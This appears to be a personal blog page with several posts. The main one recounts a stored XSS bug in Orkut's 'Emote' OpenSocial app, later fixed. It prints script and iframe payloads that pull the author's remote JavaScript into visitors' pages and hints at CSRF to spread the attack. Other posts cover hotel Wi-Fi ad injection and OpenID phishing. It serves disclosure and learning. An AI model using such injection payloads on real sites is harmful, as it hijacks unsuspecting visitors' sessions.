Hacking OpenSocial applications on Orkut - Part II

YAY, Orkut HACKED !!

Well, fine...I am kidding. This is nothing big enough to brag about. I have not hacked orkut, or open social, just used a stupid bug in a small application. I put that message for people to see when they visit my profile on Orkut and are automatically redirected to this blog !! :)
Though it has had its own set of attacks, this is something to do with badly written, widely used OpenSocial applications. I had written about a hack that I was working on, and here it is, up and running. The application under the scanner is called Emote, an application that I have seen many people use. The application DOES NOT have any checks for XSS, and putting a script in was as simple as typing it into the text box.
When the application has to display the message from the user, all it does fetches the data from the server and puts it into the innerHTML of some page elements. Malicious content is not scanned and is simply inserted into the page. Since the 'innerHTML' is used, we can insert script tag, but that will work only on IE.
All I did was insert something like

<script>
var x = document.createElement('script'); x.src='http://n.parashuram.googlepages.com/emotehack.js';
document.body.appendChild(x)
</script>

and I could get my malicious script stored on my server to run what ever it wanted, in the context of the application. For anyone visiting the page, this script get executed, exposing the visitor's instance of the application to attack. Hence, you can potentially send messages to the application, further allowing the spread of the attack. I am NOT demonstrating it here for the sake of responsible disclosure (duh !!) but ping me if you have not figured out the details!
However, this is still in the context of this application only, and will work for my friends, or people visiting my profile page only on the IE family. Firefox does not execute scripts that are appended using the innerHTML.
Though I may not be able to spread this, I definitely can redirect people to a different domain by appending an iframe as an emote. In the emote text box, I would effectively have something like

<iframe src = 'http://n.parashuram.googlepages.com/emotehack.html' > </iframe>

The iFrame source could combine it with a cross site request forgery trick to post messages to the application, effectively achieving the same effect that we did for IE. For emote, all emotes are HTTP POSTED to the url /ig/proxy?output.js with a POST parameter url and a value that is URL encoded with the string. You can figure that out easily with Tamper data.
In summary, you effectively saw anyone's profile page could be hijacked by a small bug in any opensocial application. I am currently exploring way to exploit this hack to affect other application also, so watch out this space for any findings. I would also love to hear any cool tricks that you have in your bag !! :)

UPDATE : They finally fixed it. It was a simple fix, both at the front end, and at the backend !! :)

Hacking OpenSocial applications on Orkut

Hey,

OpenSocial finally launched in India a couple of days ago. Though a delayed release, there were some applications that did show up. I wanted to start writing applications too, but call it my laziness lack of time, distance from the 'hot zone', I had to settle with working on breaking these applications.
In my humble opinion, OpenSocial seems to have only increased the attack surface on the already flaky orkut. There were script injections when the flash was introduced in scraps, but the introduction of something as huge as opensocial is bound to open up a lot more vulnerabilities.
The first signs of problems that I noticed was with the emote application. This is an easy target for the script injection and I presume that taking control of one application could potentially be a starting point for more interesting things. Surprisingly though, even after firebug shows me the script that is inserted it does not execute.
Also, it may be a little difficult to reverse engineer the applications that have code inside the XML file using firebug breakpoints. This is because of the ifr?URL loaded every time is dynamic and hence, breakpoints will have to be set as soon as the file is loaded. To achieve this, an extension like Tamper Data could be used to wait till the script is loaded, and then place a break point.
Right now, I am looking at how to use emote to break into anything interesting, so watch this space for updates.

Analysis of the network I am on - superclick.com

Hey,


The moment I saw HTTP meta redirects for legimate web pages, I started digging into the exact working of this network. I am currently connected to the wireless network of a hotel that is superclick enabled. Though the popups and network interceptions seem a little random, I finally managed to capture the series of redirections and pages.
Firstly, the traffic goes through a squid proxy that sends random 302 redirects to the main page. The page has a meta and javascript redirects to the original page a user wanted to take a look at. It also has a redirection to a toolbar.php. The cookie passed to it includes the localIP and a toolbar id (sc_clientip=10.1.241.202; toolbar=1208025093).
The toolbar, for its part opens up a couple of superclick ads. The toolbar page looks something like this. A quick look at the page guards it against closing the page using the DoUnload function as defined in the body (line 200). The page also has a couple of lame MM_* functions for simple image swaps, etc, more like a library. This reminds me of the typical functions that Microsoft Frontpage pages have. Apart from this, all that the page does is send across browsed pages and bring in advertisements.
Now for the privacy parts. Simply blocking the superclicks.com using adblock would prevent calls to advertisements. Also, since the redirections do not always occur, we could also try experimenting with blocking the IP of the squid server that prevents redirects. This may have a jittery browsing experience blocking sites sometimes, but it seems to work for me. Best of all would be to use a VPN that would make even the squid totally unaware of the URLs browsed. So much for privacy.... :)

OpenId History and Phishing...

Hey,

I was playing around with creating a blog reputation snippet when I noticed the OpenID addition to blogspot. Interestingly, different blogs by the same person seem to have different OpenID Urls. This is a deviation from the regular conception of one identity per person. Even blogspot allows registered users to comment on blogs by indicating the people, not specific blogs by them. Not only does this approach confuse the idea of user attributes, it also increases problems multiple identities for a single person (the problem that OpenID wants to solve ?) This comes in a time when Google OpenID proxy exists (Google API at the backend I guess).
There was also a column that listed trusted sites, the ones a user 'remembers' always. On a side note, there were blogs that claim that OpenID are prone to phishing by rogue service providers (relying parties). I had written about different approaches to defeat phishers, including two factor authentication on the identity provider and identity images (like the one on Yahoo mail).
However, a simpler approach would be just to display to the user, all the relying parties he has logged into, everytime a user invokes OpenID. In addition to being useful, this some information that only an identity provider knows. Faking it would be hard as the attacker would be required to know the profile of the user, something that becomes increasingly difficult to guess as the usage increases. Most identity providers already show the user this information, it may as well be used as a part the anti-phishing part.
Just an idea.... :)